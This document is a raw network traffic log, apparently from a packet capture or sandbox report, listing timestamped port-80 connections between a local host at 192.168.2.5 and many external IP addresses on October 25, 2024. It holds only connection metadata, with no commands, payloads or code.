Oct 25, 2024 11:18:14.804586887 CEST	80	52955	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:14.804802895 CEST	52946	80	192.168.2.5	3.65.101.129
Oct 25, 2024 11:18:14.804864883 CEST	52955	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:14.807339907 CEST	52946	80	192.168.2.5	3.65.101.129
Oct 25, 2024 11:18:14.812669039 CEST	80	52946	3.65.101.129	192.168.2.5
Oct 25, 2024 11:18:14.845870018 CEST	80	52769	157.112.182.239	192.168.2.5
Oct 25, 2024 11:18:14.845935106 CEST	52769	80	192.168.2.5	157.112.182.239
Oct 25, 2024 11:18:14.856857061 CEST	80	52934	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:14.856873035 CEST	80	52934	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:14.856889963 CEST	80	52934	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:14.856904984 CEST	80	52934	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:14.856921911 CEST	80	52934	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:14.857172012 CEST	52934	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:18:14.857214928 CEST	80	52934	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:14.857232094 CEST	80	52934	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:14.857294083 CEST	80	52934	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:14.857295990 CEST	52934	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:18:14.857311964 CEST	80	52934	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:14.857327938 CEST	80	52934	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:14.857347012 CEST	52934	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:18:14.857391119 CEST	52934	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:18:14.858064890 CEST	80	52934	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:14.858081102 CEST	80	52934	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:14.858107090 CEST	80	52934	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:14.858123064 CEST	80	52934	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:14.858139992 CEST	80	52934	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:14.858289957 CEST	52934	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:18:14.858333111 CEST	52934	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:18:14.858850956 CEST	80	52934	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:14.858897924 CEST	80	52934	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:14.858915091 CEST	80	52934	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:14.858938932 CEST	80	52934	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:14.858969927 CEST	52934	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:18:14.859000921 CEST	52934	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:18:14.878145933 CEST	80	52948	144.76.24.9	192.168.2.5
Oct 25, 2024 11:18:14.878165007 CEST	80	52948	144.76.24.9	192.168.2.5
Oct 25, 2024 11:18:14.878181934 CEST	80	52948	144.76.24.9	192.168.2.5
Oct 25, 2024 11:18:14.878287077 CEST	52948	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:18:14.878289938 CEST	80	52948	144.76.24.9	192.168.2.5
Oct 25, 2024 11:18:14.878309965 CEST	52948	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:18:14.878317118 CEST	80	52948	144.76.24.9	192.168.2.5
Oct 25, 2024 11:18:14.878345966 CEST	80	52948	144.76.24.9	192.168.2.5
Oct 25, 2024 11:18:14.878353119 CEST	52948	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:18:14.878362894 CEST	80	52948	144.76.24.9	192.168.2.5
Oct 25, 2024 11:18:14.878376007 CEST	52948	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:18:14.878381014 CEST	80	52948	144.76.24.9	192.168.2.5
Oct 25, 2024 11:18:14.878396034 CEST	52948	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:18:14.878422022 CEST	52948	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:18:14.878422976 CEST	52948	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:18:14.879255056 CEST	80	52948	144.76.24.9	192.168.2.5
Oct 25, 2024 11:18:14.879271030 CEST	80	52948	144.76.24.9	192.168.2.5
Oct 25, 2024 11:18:14.879287958 CEST	80	52948	144.76.24.9	192.168.2.5
Oct 25, 2024 11:18:14.879304886 CEST	80	52948	144.76.24.9	192.168.2.5
Oct 25, 2024 11:18:14.879328966 CEST	80	52948	144.76.24.9	192.168.2.5
Oct 25, 2024 11:18:14.879386902 CEST	52948	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:18:14.879417896 CEST	52948	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:18:14.880196095 CEST	80	52948	144.76.24.9	192.168.2.5
Oct 25, 2024 11:18:14.880212069 CEST	80	52948	144.76.24.9	192.168.2.5
Oct 25, 2024 11:18:14.880228996 CEST	80	52948	144.76.24.9	192.168.2.5
Oct 25, 2024 11:18:14.880244970 CEST	80	52948	144.76.24.9	192.168.2.5
Oct 25, 2024 11:18:14.880261898 CEST	80	52948	144.76.24.9	192.168.2.5
Oct 25, 2024 11:18:14.880300045 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.880309105 CEST	52948	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:18:14.880315065 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.880327940 CEST	52948	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:18:14.880331993 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.880439043 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:14.880482912 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:14.880513906 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.880531073 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.880546093 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.880578995 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:14.880609989 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:14.881076097 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.881091118 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.881108046 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.881124020 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.881140947 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.881148100 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:14.881177902 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:14.881196976 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:14.881834030 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.881885052 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.881900072 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.881974936 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:14.882008076 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:14.882273912 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.882337093 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.882354021 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.882370949 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.882378101 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:14.882436037 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:14.882436037 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:14.882453918 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.883189917 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:14.883191109 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.883236885 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.883239031 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:14.883253098 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.883270025 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.883277893 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:14.883306026 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:14.883306026 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:14.883523941 CEST	80	52950	195.78.66.65	192.168.2.5
Oct 25, 2024 11:18:14.884057999 CEST	52950	80	192.168.2.5	195.78.66.65
Oct 25, 2024 11:18:14.885878086 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.885983944 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:14.898513079 CEST	52667	80	192.168.2.5	85.131.197.10
Oct 25, 2024 11:18:14.898816109 CEST	52977	80	192.168.2.5	85.131.197.10
Oct 25, 2024 11:18:14.903986931 CEST	80	52667	85.131.197.10	192.168.2.5
Oct 25, 2024 11:18:14.904684067 CEST	80	52977	85.131.197.10	192.168.2.5
Oct 25, 2024 11:18:14.904751062 CEST	52977	80	192.168.2.5	85.131.197.10
Oct 25, 2024 11:18:14.905050993 CEST	52977	80	192.168.2.5	85.131.197.10
Oct 25, 2024 11:18:14.910394907 CEST	80	52977	85.131.197.10	192.168.2.5
Oct 25, 2024 11:18:14.911262035 CEST	80	52795	137.118.26.67	192.168.2.5
Oct 25, 2024 11:18:14.911842108 CEST	52795	80	192.168.2.5	137.118.26.67
Oct 25, 2024 11:18:14.911892891 CEST	52795	80	192.168.2.5	137.118.26.67
Oct 25, 2024 11:18:14.917198896 CEST	80	52795	137.118.26.67	192.168.2.5
Oct 25, 2024 11:18:14.920819044 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.920866013 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.920890093 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.920933008 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:14.920955896 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:14.950774908 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:14.951078892 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:14.956310034 CEST	52642	80	192.168.2.5	165.22.45.169
Oct 25, 2024 11:18:14.956434011 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:14.956563950 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:14.956626892 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:14.956625938 CEST	52979	80	192.168.2.5	165.22.45.169
Oct 25, 2024 11:18:14.956696987 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:14.957037926 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:14.958805084 CEST	52980	80	192.168.2.5	18.245.31.21
Oct 25, 2024 11:18:14.961641073 CEST	80	52642	165.22.45.169	192.168.2.5
Oct 25, 2024 11:18:14.961971998 CEST	80	52979	165.22.45.169	192.168.2.5
Oct 25, 2024 11:18:14.962039948 CEST	52979	80	192.168.2.5	165.22.45.169
Oct 25, 2024 11:18:14.962183952 CEST	52979	80	192.168.2.5	165.22.45.169
Oct 25, 2024 11:18:14.962475061 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:14.964126110 CEST	80	52980	18.245.31.21	192.168.2.5
Oct 25, 2024 11:18:14.965014935 CEST	52980	80	192.168.2.5	18.245.31.21
Oct 25, 2024 11:18:14.965182066 CEST	52980	80	192.168.2.5	18.245.31.21
Oct 25, 2024 11:18:14.967592001 CEST	80	52979	165.22.45.169	192.168.2.5
Oct 25, 2024 11:18:14.968949080 CEST	52981	80	192.168.2.5	198.100.146.220
Oct 25, 2024 11:18:14.971029043 CEST	80	52980	18.245.31.21	192.168.2.5
Oct 25, 2024 11:18:14.974508047 CEST	80	52981	198.100.146.220	192.168.2.5
Oct 25, 2024 11:18:14.974567890 CEST	52981	80	192.168.2.5	198.100.146.220
Oct 25, 2024 11:18:14.974713087 CEST	52981	80	192.168.2.5	198.100.146.220
Oct 25, 2024 11:18:14.976417065 CEST	80	52949	3.65.101.129	192.168.2.5
Oct 25, 2024 11:18:14.976500034 CEST	52949	80	192.168.2.5	3.65.101.129
Oct 25, 2024 11:18:14.977479935 CEST	52949	80	192.168.2.5	3.65.101.129
Oct 25, 2024 11:18:14.980271101 CEST	80	52981	198.100.146.220	192.168.2.5
Oct 25, 2024 11:18:14.982896090 CEST	80	52949	3.65.101.129	192.168.2.5
Oct 25, 2024 11:18:14.985380888 CEST	80	52959	147.154.0.23	192.168.2.5
Oct 25, 2024 11:18:14.985441923 CEST	52959	80	192.168.2.5	147.154.0.23
Oct 25, 2024 11:18:14.986458063 CEST	80	52959	147.154.0.23	192.168.2.5
Oct 25, 2024 11:18:14.986584902 CEST	52959	80	192.168.2.5	147.154.0.23
Oct 25, 2024 11:18:14.997729063 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.997760057 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.997812033 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.997848034 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.997898102 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.997951031 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.998001099 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.998002052 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:14.998002052 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:14.998002052 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:14.998038054 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.998071909 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.998083115 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:14.998083115 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:14.998107910 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.998125076 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.998161077 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.998162985 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:14.998197079 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.998250961 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:14.998567104 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.998620033 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.998652935 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.998672009 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:14.998687029 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.998698950 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:14.998728991 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:14.998913050 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.998963118 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.998996973 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.999016047 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:14.999025106 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:14.999032021 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.999047995 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:14.999067068 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.999074936 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:14.999103069 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.999109983 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:14.999150038 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:14.999396086 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.999500036 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:14.999500036 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.999547005 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:14.999552011 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.999587059 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.999593973 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:14.999619961 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.999629974 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:14.999654055 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.999666929 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:14.999689102 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.999697924 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:14.999725103 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.999731064 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:14.999758005 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.999764919 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:14.999793053 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.999803066 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:14.999828100 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.999836922 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:14.999874115 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.000480890 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.000515938 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.000569105 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.000602007 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.000636101 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.000643969 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.000669956 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.000670910 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.000684977 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.000705004 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.000715971 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.000737906 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.000745058 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.000772953 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.000780106 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.000806093 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.000821114 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.000838995 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.000848055 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.000883102 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.032438993 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.032476902 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.032529116 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.032562971 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.032593966 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.032638073 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.032638073 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.032638073 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.032638073 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.032646894 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.032682896 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.032711029 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.032716036 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.032751083 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.032763004 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.032763004 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.032782078 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.032799959 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.032829046 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.038119078 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.038173914 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.038208961 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.038260937 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.038295031 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.038312912 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.038330078 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.038357019 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.038357019 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.038364887 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.038400888 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.038439989 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.038521051 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.038521051 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.038521051 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.038536072 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.040213108 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.053731918 CEST	80	52946	3.65.101.129	192.168.2.5
Oct 25, 2024 11:18:15.053787947 CEST	52946	80	192.168.2.5	3.65.101.129
Oct 25, 2024 11:18:15.058300018 CEST	80	52954	188.166.152.188	192.168.2.5
Oct 25, 2024 11:18:15.058391094 CEST	52954	80	192.168.2.5	188.166.152.188
Oct 25, 2024 11:18:15.059114933 CEST	52946	80	192.168.2.5	3.65.101.129
Oct 25, 2024 11:18:15.064640045 CEST	80	52946	3.65.101.129	192.168.2.5
Oct 25, 2024 11:18:15.107821941 CEST	80	52957	18.245.31.21	192.168.2.5
Oct 25, 2024 11:18:15.108093023 CEST	52957	80	192.168.2.5	18.245.31.21
Oct 25, 2024 11:18:15.114727020 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.114763021 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.114797115 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.114847898 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.114881992 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.114932060 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.114967108 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.115000010 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.115035057 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.115111113 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.115240097 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.115246058 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.115273952 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.115329027 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.115396976 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.115403891 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.115431070 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.115466118 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.115499973 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.115504026 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.115593910 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.115595102 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.115689039 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.115690947 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.115741014 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.115771055 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.115776062 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.115811110 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.115814924 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.115844965 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.115866899 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.115880013 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.115915060 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.115916967 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.115947962 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.115982056 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.115999937 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.116015911 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.116063118 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.116117954 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.116403103 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.116453886 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.116487026 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.116519928 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.116534948 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.116571903 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.116605043 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.116617918 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.116640091 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.116672993 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.116672993 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.116708040 CEST	80	52920	213.165.251.217	192.168.2.5
